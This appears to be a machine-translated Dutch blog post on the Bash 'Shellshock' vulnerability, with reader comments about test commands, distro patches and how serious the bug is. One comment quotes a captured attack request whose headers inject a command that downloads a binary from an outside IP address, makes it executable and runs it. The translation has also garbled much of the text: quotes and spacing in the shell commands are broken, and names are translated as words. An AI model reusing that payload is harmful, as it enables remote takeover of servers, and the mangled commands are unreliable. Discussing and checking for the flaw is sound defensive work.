Het loopt als een lopend vuurtje op sommige blogs, een nieuwsbericht gepubliceerd in de beveiligingsblog de Red Hat over een kwetsbaarheid gevonden in Bash als gevolg van misbruik van globale variabelen. Volgens het oorspronkelijke nieuws:
“… De kwetsbaarheid is te wijten aan het feit dat omgevingsvariabelen met speciaal vervaardigde waarden kunnen worden gemaakt voordat de bash-shell wordt aangeroepen. Deze variabelen kunnen code bevatten die wordt uitgevoerd zodra de shell wordt aangeroepen. De naam van deze uitgewerkte variabelen doet er niet toe, alleen hun inhoud. Als gevolg hiervan wordt deze kwetsbaarheid in veel contexten blootgesteld, bijvoorbeeld:
- Forceer commando het wordt gebruikt in sshd-configuraties om beperkte mogelijkheden voor het uitvoeren van opdrachten voor externe gebruikers te bieden. Deze fout kan worden gebruikt om dat te voorkomen en om willekeurige opdrachten uit te voeren. Sommige Git- en Subversion-implementaties gebruiken dergelijke beperkte Shells. Regelmatig gebruik van OpenSSH wordt niet beïnvloed, aangezien gebruikers al toegang hebben tot een console.
- Apache-servers die mod_cgi of mod_cgid gebruiken, worden beïnvloed als CGI-scripts zowel in bash- als spawn-subniveaus worden geschreven. Dergelijke subniveaus worden impliciet gebruikt door system / popen in C, door os.system / os.popen in Python, bij gebruik van een system / exec-shell in PHP (bij gebruik in CGI-modus), en open / system in Perl (afhankelijk van de commandostring).
- PHP-scripts uitgevoerd met mod_php worden niet beïnvloed, zelfs niet als er subniveaus worden afgespeeld.
- DHCP-clients roepen shellscripts aan om het systeem te configureren, met waarden die van een mogelijk kwaadwillende server worden gehaald. Hierdoor kunnen willekeurige opdrachten worden uitgevoerd, meestal als root, op de DHCP-clientcomputer.
- Diverse daemons en programma's met SUID-privileges kunnen shellscripts uitvoeren met de omgevingsvariabele waarden die zijn ingesteld / beïnvloed door de gebruiker, waardoor willekeurige commando's kunnen worden uitgevoerd.
- Elke andere applicatie die aan een shell haakt of een shell-script uitvoert, zoals bash als een interpreter. Shell-scripts die geen variabelen exporteren, zijn niet kwetsbaar voor dit probleem, zelfs niet als ze niet-vertrouwde inhoud verwerken en opslaan in shell-variabelen (links) en subniveaus geopend.
... "
Hoe weet ik of mijn bash is aangetast?
Daarom is er een heel eenvoudige manier om te weten of we door dit beveiligingslek worden getroffen. Ik heb zelfs getest op mijn Antergos en blijkbaar heb ik geen probleem. Wat we moeten doen is een terminal openen en plaatsen:
env x = '() {:;}; echo kwetsbare 'bash -c' echo dit is een test '
Als het op deze manier uitkomt, hebben we geen probleem:
env x = '() {:;}; echo kwetsbare 'bash -c' echo dit is een test 'bash: waarschuwing: x: negeren functiedefinitie poging bash: fout bij importeren van functiedefinitie voor' x 'dit is een test
Als het resultaat anders is, moet u de updatekanalen van onze voorkeursdistributies gebruiken om te zien of ze de patch al hebben toegepast. Dus je weet het 😉
Bijgewerkt: dit is de uitvoer van een collega die Ubuntu 14:04 gebruikt:
env x = '() {:;}; echo kwetsbaar 'bash -c' echo dit is een test 'kwetsbaar dit is een test
Zoals u kunt zien, is het tot dusver kwetsbaar.
Ik heb Kubuntu 14.04 van 64 en ik krijg ook:
env x = '() {:;}; echo kwetsbare 'bash -c' echo dit is een test '
kwetsbaar
dit is een test
Ik heb al een update uitgevoerd, maar het klopt niet. Wat moeten we doen?
Wacht tot ze zijn bijgewerkt. Reeds eOS bijvoorbeeld bijgewerkt .. 😀
Hoe raar, ik heb ook Kubuntu 14.04
$ env x = '() {:;}; echo kwetsbare 'bash -c' echo dit is een test '
bash: waarschuwing: x: poging tot functiedefinitie negeren
bash: fout bij het importeren van functiedefinitie voor 'x'
dit is een test
Ik voeg toe dat de versie van het "bash" -pakket dat vandaag is gedownload, is:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
In mijn geval geeft het commando me het volgende in de terminal:
>Hoe dan ook, de grap is dat ik Debian Wheezy heb bijgewerkt en dat is wat me heeft gedumpt.
Wheezy is nog steeds kwetsbaar voor het tweede deel van de bug, in ieder geval voor de middag (UTC -4: 30) was het probleem nog steeds aan de orde: /
Ik heb net geverifieerd dat na het toepassen van een update vanmorgen noch Slackware, noch Debian, noch Centos worden beïnvloed, aangezien ze een overeenkomstige update hebben ontvangen.
Wat maakt Ubuntu op dit moment nog steeds kwetsbaar? En vertel me dat het veilig is: D.
Maar heb je geprobeerd Ubuntu bij te werken?
Met de update van vandaag hebben ze het ook opgelost.
OK
Beveiligingsexperts waarschuwen voor de kwetsbaarheid van 'Bash', het zou een grotere bedreiging kunnen vormen voor gebruikers van Linux Software dan de Heartbleed-fout, waarbij 'hackers' een bug in Bash kunnen misbruiken om volledige controle over een systeem te krijgen.
Tod Beardsley, een technisch manager bij cyberbeveiligingsbedrijf Rapid7, waarschuwde dat de fout een 10 kreeg vanwege de ernst ervan, wat betekent dat het de maximale impact heeft, en als 'laag' werd beoordeeld vanwege de complexiteit van de exploit, wat betekent dat het relatief eenvoudig is voor 'hackers' aanvallen. Door gebruik te maken van deze kwetsbaarheid kunnen aanvallers mogelijk de controle over het besturingssysteem overnemen, toegang krijgen tot vertrouwelijke informatie, wijzigingen aanbrengen, enz. ”, Aldus Beardsley. "Iedereen met systemen die Bash bezetten, moet de patch onmiddellijk aanbrengen", voegde hij eraan toe.
VÓÓR DEZE KWETSBAARHEID DIE DE OUDE TOOL (GNU) PRESENTEERT waar Bach wordt gehost, zou het voor Linux Software handiger zijn om GNU te verwijderen en te veranderen voor de BSD-tool.
PS: CENSOR mijn vrijheid van meningsuiting niet, ... beledig niemand, ... verwijder mijn bericht niet zoals het vorige bericht dat ik heb verwijderd!.
Oh alsjeblieft, overdrijf het niet. Wat haat ik die mensen die BSD gebruiken en een hekel hebben aan GNU, Linux of alles wat van deze projecten komt.
Ik ben bij je en je hebt volkomen gelijk wat betreft de ernst van dit gat.
Het was geen censuur, het was redundantie (je had dezelfde opmerking gemaakt in de kabouter-3.14-post)
"... en beoordeeld als 'LAAG' VOOR DE COMPLEXITEIT van de exploitatie, wat betekent dat het relatief GEMAKKELIJK is voor aanvallen van hackers"
Is de ongerijmdheid merkbaar?
Hoe kan het gemakkelijk zijn om de kwetsbaarheid te misbruiken en tegelijkertijd een "laag" risiconiveau te hebben omdat het zo complex is om te gebruiken?
Het is een bug die binnen enkele uren na ontmoeting werd opgelost en die, net als heartbleed, geen meldingen heeft van misbruik (deze heeft natuurlijk minder tijd om elkaar te leren kennen).
Het is meer tabloidpers dan echt risico.
Vindt u @Staff onbelangrijk? Wat ga je me nu vertellen?
GET./.HTTP/1.0
.Gebruiker-agent: .Thanks-Rob
.Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Referer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Aanvaarden:. * / *
$ bestand nginx
nginx: ELF 32-bit LSB executable, Intel 80386, versie 1 (SYSV), statisch gelinkt, voor GNU / Linux 2.6.18, gestript
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Weet jij wat het is? Van weinig gevaarlijk niets ...
De situatie is vrij ernstig, maar om van daaruit te zeggen dat je moet stoppen met het gebruik van bash voor een BSD-optie, het is al zo veel, hoe dan ook, de update is er al, ik raak gewoon update aan en niets anders.
Nu de PD, ik denk dat het meer een collega is @robet, ik denk niet dat de admins hier toegewijd zijn aan het verwijderen van commentaren zoals deze want ja, want sinds ik deelnam aan deze community heb ik dat gevoel gehad en ik hoop dat het zo blijft.
Groeten.
Je plaatst exact dezelfde opmerking op twee verschillende berichten. Als je "de bron" van het verhaal probeert te promoten, sorry, dit is niet de plek.
Bash komt van Unix (en zijn GNU-kloon). BSD-gebaseerde systemen zoals OSX worden ook getroffen, en volgens Genbeta hebben ze het nog niet gepatcht. Om toegang te krijgen tot Bash heb je een gebruikersaccount nodig, lokaal of via SSH.
@Personeel:
1.- Het is geclassificeerd als niveau 10 (maximaal gevaarsniveau) vanwege het aantal services dat door de bug kan worden beïnvloed. In de hoofdnoot maken ze dat feit heel duidelijk, met het argument dat de bug services zoals apache, sshd en programma's met suid-machtigingen (onder andere xorg) kan beïnvloeden.
2.- Het is geclassificeerd als laag moeilijkheidsniveau als het gaat om de implementatie ervan, en het beste voorbeeld hiervan is het kwetsbaarheidstestscript dat @elav in de post heeft geplaatst. Heel moeilijk te implementeren is dat niet, zoals je kunt zien.
Ik zie geen redundantie in de informatie (ik zie alleen een Google-vertaling) en als het probleem vrij ernstig is, en zoals je zegt, het heeft al een patch en een oplossing, maar daarvoor niet, het is niet langer een risico, en een heel reëel probleem .
@petercheco / @Yukiteru
Begrijp me niet verkeerd, ik denk dat het duidelijk is dat mijn kritiek het nieuws is dat Robet koppelt en gericht is op ongerijmdheid en niet op redundantie.
Op dezelfde manier moeten we onderscheid maken tussen risico en gevaar (ik noem het laatste niet), we gebruiken ze gewoonlijk als synoniemen, maar hier zou het gevaar de schadecapaciteit van de bug zijn en de waarschijnlijkheid dat deze zich voordoet.
In mijn specifieke geval ben ik vanaf gisteren binnengekomen. Het was niet voor mailinglijsten of iets dergelijks, het was voor een desktop-distro! Ik pakte de telefoon en stuurde een bericht naar de sysadmin met de link en ik bevestigde dat ik alles had gepatcht, excuseer me, maar dit nieuws houdt me niet wakker.
In andere forums vermelden ze over de Bash-kwetsbaarheid "de oplossing die Debian en Ubuntu hebben uitgebracht", maar vandaag ontdekten ze dat er nog steeds een kwetsbaarheid bestaat, dus de oplossing was onvolledig, ze vermelden dat!
Ik zie dat velen mij hebben bekritiseerd vanwege het simpele feit dat mensen de ernst van de kwetsbaarheid niet meer kunnen worden - gekwalificeerd met een niveau 10 van maximale gevaarlijkheid, en mogelijke oplossingen voor Linux Software hebben genoemd vóór de verouderde GNU-tool waarin Bash wordt gehost - wat GNU perfect zou kunnen worden vervangen door de BSD-tool in Linux Software,… Ik gebruik ook Linux en ik hou van Linux!
Ik verduidelijk dat Bash niet standaard in BSD wordt geïnstalleerd, het is nog een Linux-compatibiliteitspakket dat in BSD kan worden geïnstalleerd ... ja!. En de bron is zo geplaatst dat ze het nieuws kunnen controleren, aangezien veel gebruikers het bericht of de opmerking soms niet geloven.
robet: Zoals ze je al keer op keer hebben verteld, heb je je opmerking al bij het nieuws in een bericht geplaatst, je hoeft het niet in elk bericht dat je reageert te plaatsen.
Op bash zijn er andere shells die kunnen worden gebruikt als Bash kwetsbaar is. 😉
Robet, bij mijn weten is er geen software die de linux-kernel combineert met het BSD-gebruikersland. Het dichtsbijzijnde is andersom, kBSD + GNU, zoals Gentoo en Debian doen. Bovendien kan GNU (1983) niet "ouderwets" worden genoemd als het na BSD (1977) is. Ze delen allebei hun unix-root (maar niet de code), er zou geen "Linux-compatibiliteit" zijn als Bash werd gemaakt toen Linus T nog een kind was.
uff, debian testing op dit moment is "kwetsbaar" wat een streak we hebben ...
Ik gebruik Debian Testing en zelfs in deze branche hebben we de bash-update ontvangen
volgens genbeta is er nog een andere kwetsbaarheid
http://seclists.org/oss-sec/2014/q3/685
het te ondervragen commando is
env X = '() {(a) => \' sh -c "echo kwetsbaar"; bash -c "echo Failure 2 unpatched"
env X = '() {(a) => \' sh -c "echo kwetsbaar"; bash -c "echo Unpatched Failure 2" sh: X: regel 1: syntactische fout nabij onverwacht element `= 'sh: X: regel 1:' 'sh: fout bij het importeren van functiedefinitie voor` X' sh - Kwetsbaar - Fout 2 niet-gepatcht commando niet gevondendezelfde ik.
Hier ook. Maar de originele bug in de post is gepatcht in (L) Ubuntu 14.04
In plaats van een simpele echo te doen, probeer het een instructie te laten uitvoeren die privileges vereist, ik gooi "onvoldoende privileges" ... deze bug escaleert privileges niet? Als het privileges niet escaleert, is het niet zo gevaarlijk als ze het schilderen .
Je hebt gelijk!! het waren twee kwetsbaarheden ...
Voor mij in Linux Mint 17 na de tweede bash-update die ze gisteravond in de Ubuntu-repositories hebben geplaatst, biedt de shell deze uitvoer bij het uitvoeren van dat commando:
env X = '() {(a) => \' sh -c "echo kwetsbaar"; bash -c "echo Fail 2 niet gepatcht"
>
De versie van "bassh" die in de Ubuntu-repositories is geplaatst om de vorige bij te werken, is:
4.3-7ubuntu1.2
Op van Debian afgeleide systemen kunt u de geïnstalleerde versie controleren met dit commando:
dpkg -s bash | grep-versie
Hoe dan ook, het moet worden verduidelijkt, in ieder geval voor gebruikers van Debian, Ubuntu en Mint; U hoeft zich niet al te veel zorgen te maken over programma's die scripts uitvoeren met de #! / Bin / sh-header, want op die distributies roept / bin / sh niet "bash" aan, maar bindt aan de shell "dash" (dash is :)
De Debian Alchemist Console (dash) is een afgeleide POSIX-console
van as.
.
Omdat het scripts sneller uitvoert dan bash, en minder afhankelijkheden heeft
van bibliotheken (waardoor het robuuster wordt tegen softwarefouten of
hardware), wordt het gebruikt als de standaardsysteemconsole op systemen
Debian.
Dus, tenminste in Ubuntu, wordt "bash" gebruikt als een shell voor gebruikersaanmelding (ook voor de rootgebruiker). Maar elke gebruiker kan standaard een andere shell gebruiken voor de gebruiker en rootconsoles (terminals).
Het is gemakkelijk om te controleren of de shell de scripts (#! / Bin / sh) uitvoert door deze opdrachten uit te voeren:
bestand / bin / sh
(de uitvoer is / bin / sh: symbolische link naar `streepje ') we volgen de tracering door het commando te herhalen
bestand / bin / dash
(de uitvoer is / bin / dash: ELF 64-bit LSB gedeeld object, x86-64, versie 1 (SYSV), dus dit is het uitvoerbare bestand.
Dit zijn de resultaten op een Linux Mint 17. Op andere niet op Ubuntu / Debian gebaseerde distributies kunnen ze verschillen.
Het is niet moeilijk om de standaard shell te veranderen !! u kunt zelfs een andere gebruiken voor gebruikers en voor de rootgebruiker. Eigenlijk hoeft u alleen maar de shell van uw voorkeur te installeren en de standaard te wijzigen met het commando "chsh" of door het bestand / etc / passwd te bewerken (hoewel gebruikers die niet weten wat de gevolgen zijn van een fout bij het bewerken van het "passwd" -bestand, is Het is beter dat ze zichzelf goed informeren en voordat u het bewerkt, een kopie maken van het origineel voor het geval het nodig is om het te herstellen).
Ik voel me meer op mijn gemak met "tcsh" (tcsh is :)
De TENEX C-console, een verbeterde versie van de Berkeley csh
"Csh" is wat Mac OS X een paar jaar geleden gebruikte. Iets logisch gezien het feit dat een groot deel van het besturingssysteem van Apple FreeBSD-code is. Nu, van wat ik gisteren las, lijkt het erop dat ze ook "bash" bieden voor gebruikersterminals.
CONCLUSIES:
- Gepatchte "bash" -versies "voor de meest gebruikte distributies" zijn al verspreid
- "bash" versie 4.3-7ubuntu1.2 en later bevat deze bugs niet
- Het is niet verplicht om "bash" te gebruiken in OS * Linux
- Weinig * Linux-distributies koppelen #! / Bin / sh met "bash"
- Er zijn alternatieven: ash, dash, csh, tcsh en nog wat meer
- Het is niet ingewikkeld om de standaardshell te wijzigen die het systeem aanroept bij het openen van een terminal
- Er zijn maar weinig kleine apparaten (routers en andere) gebruiken "bash", omdat het erg groot is !!
Op dit moment is er weer een update aangekomen die een andere versie van "bash" 4.3-7ubuntu1.3 installeert
Voor Linux Mint 17 en Ubuntu 14.04.1 LTS
ArchLinux heeft versie bash-4.3.026-1 ingevoerd
@ Xurxo… .csh uit Berkeley?,… Je begrijpt iets van wat ik hierboven spreek, en het is beter om BSD “csh” te gebruiken… in plaats van de oude GNU-tool waarin Bash wordt gehost. Die tool is het beste voor Linux-software.
Ik denk dat dit de bug is
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
waar?
En wat zou de oplossing zijn?
Wacht tot ze het pakket op je distro 😉 hebben bijgewerkt
De bug werd gedoopt als shellshock
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
kwetsbaar
dit is een test
Nog geen patch voor Ubuntu Studio 14.04
Gerepareerd in Ubuntu Studio 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo kwetsbare 'bash -c' echo dit is een test '
bash: waarschuwing: x: poging tot functiedefinitie negeren
bash: fout bij het importeren van functiedefinitie voor 'x'
dit is een test
Eigenlijk is het een kleine kwetsbaarheid, als het u treft, is het dat u eerder iets verkeerd deed ...
Omdat een bash-script dat met rootrechten wordt uitgevoerd, nooit aan een gebruiker mag worden blootgesteld. En als hij zonder privileges rent, is er niet zo'n moeilijkheid. Eigenlijk is het onzin. Veel paniekzaaierij.
Ik denk hetzelfde.
Precies, om meer kranten te verkopen of meer bezoekers te krijgen, zijn deze bugs goed.
Maar ze vergeten altijd te vermelden dat je, om een computer te compromitteren met dit soort scripts, eerst toegang moet hebben tot bash en deze vervolgens als root moet hebben.
staff als je een apache met cgi gebruikt, plaats dan gewoon de http-headers als cookies of verwijs de functie die je wilt uitvoeren. Het is zelfs gebruikt om wormen te verspreiden.
en als iemand een shell op een server plaatst met een wget mishell.php, in dat geval is het niet serieus toch?
Eens met jou. Ik dacht dat het een enorme bug was zoals die in Heartbleed (zelfs de NSA leende zich om de morbiditeit aan te wakkeren), maar het was tenslotte een kleine bug.
Er zijn andere echt serieuze bugs, zoals het gekke verbruik van Flash en de vertraging van de prestaties in de Pepper Flash Player, en degene die al is verholpen webRTC-bug in Chrome en Firefox.
Weet je of het een regeling heeft voor mensen die Linux Mint 16 hebben?
Bij het testen van Debian was het al gerepareerd.
In mijn 5 distributies is het opgelost, in mijn OS X weet ik het niet.
Censureer alstublieft mijn opmerking niet, ik zei OS X. Ik weet niet of je OS X kunt zeggen op deze site.
@yoyo nou, maak het niet te gek dat ze nog steeds aan enkele details van de patch werken ... probeer dit en vertel me dan hoe XD
env x = '() {:;}; echo kwetsbare 'bash -c' echo ik ben kwetsbaarder dan iphone 6 prullenbak '
Dat als ze het 100% hebben opgelost vóór OS X, ik alles wed
Nou ja, zelfs in Ars Technica geven ze de relevantie aan Bash in OSX.
@Yoyo volgende opmerking over OS X voor SPAM .. lla tu save .. 😛
@yoyo daar om de aanhalingstekens te repareren ... maar de rest weet je 😉
De FSF heeft gesproken
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Alsof ze betuttelend zijn geworden met OSX (omdat OSX nog steeds Bash: v gebruikt).
Hoe dan ook, ik hoef niet zo veel met Debian Jessie te rotzooien.
Als het systeem kwetsbaar is op Cent OS:
yum clean all && yum update bash
om de bash-versie te zien:
rpm-qa | grep bash
Als de versie ouder is dan bash-4.1.2-15.el6_5.1, is uw systeem mogelijk kwetsbaar!
Groeten.
2e kwetsbaarheid nog niet opgelost
env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "echo Failure 2 unpatched"
Updaten ...
Het tegenovergestelde gebeurt met mij in Gentoo, ik ben alleen kwetsbaar voor de eerste mislukking, maar met de tweede krijg ik dit:
[code] sh: X: regel 1: syntactische fout bij onverwacht element `= '
sh: X: regel 1: ''
sh: fout bij het importeren van functiedefinitie voor `X '
sh: kwetsbaar: commando niet gevonden
Bug 2 niet gepatcht
[/ Code]
Ik weet niet of er al een stabiele versie van Bash zal zijn met de bugs verholpen, maar hoe dan ook, het zal in afwachting zijn voor de volgende keer dat ik een emerge doe -sync && emerge -update -deep -with-bdeps = en - newuse @world (zo stap ik het hele systeem bij).
Ik heb Gentoo met versie 4.2_p50 en tot dusver heeft het alle tests doorstaan. Probeer emerging –sync en dan emerge -av1 app-shells / bash, en controleer dan of je versie 4.2_p50 hebt met het bash –version commando.
Heeft u dit geprobeerd?
En met nieuwe pakketten, een nieuwe test die Red Hat ons biedt
cd / tmp; rm -f / tmp / echo; env 'x = () {(a) => \' bash -c "echo date"; cat / tmp / echo
Als ons systeem niet kwetsbaar is en correct is gepatcht, moet het ons zoiets geven
1-datum
2 cat: / tmp / echo: het bestand of de directory bestaat niet
Probeer het op deze manier:
env X = '() {(a) => \' sh -c "echo kwetsbaar"; bash -c "echo Failure 2 gepatcht"
ik krijg
kwetsbaar
Bug 2 hersteld.
Vergeet het maar, de regel is slecht opgemaakt.
Uitstekend, ik heb de update van mijn Slackware al gedaan, bedankt!
Hallo, er rijst een vraag, ik heb verschillende servers met "SUSE Linux Enterprise Server 10" 64-bits.
Als ik de opdrachten uitvoer, ben ik kwetsbaar, ik ben zelfs kwetsbaarder dan de prullenbak van de iPhone 6 xD
Als ik niet verkeerd ben om pakketten in SUSE bij te werken / te installeren, doe ik dat met het commando «zypper».
Op sommige servers vertelt het me dit:
BIAL: ~ # zypper up
-bash: zypper: commando niet gevonden
BIAL: ~ #
En bij anderen dit:
SMB: ~ # zypper up
Systeembronnen herstellen ...
Metagegevens parseren voor SUSE Linux Enterprise Server 10 SP2-20100319-161944 ...
RPM-database parseren ...
Overzicht:
Niets te doen.
Wat ik doe?
Ik weet dat sommigen zeggen dat kwetsbaarheid minder is dan wat ze het schilderen, maar ik heb het en ik wil niet worden blootgesteld aan risico's, of het nu klein of groot is.
Groeten.
Goedenavond, ik heb geprobeerd de code te plakken die je in het artikel hebt verstrekt, ik begrijp dit
sanders @ pc-sanders: ~ $ env x = '() {:;}; echo kwetsbare 'bash -c' echo dit is een test '
dit is een test
schuurmachines @ pc-schuurmachines: ~ $
Kun je me alsjeblieft uitleggen hoe ik de distro moet patchen, ik update dagelijks en zie geen veranderingen in de uitvoer van de prompt.
Hartelijk dank!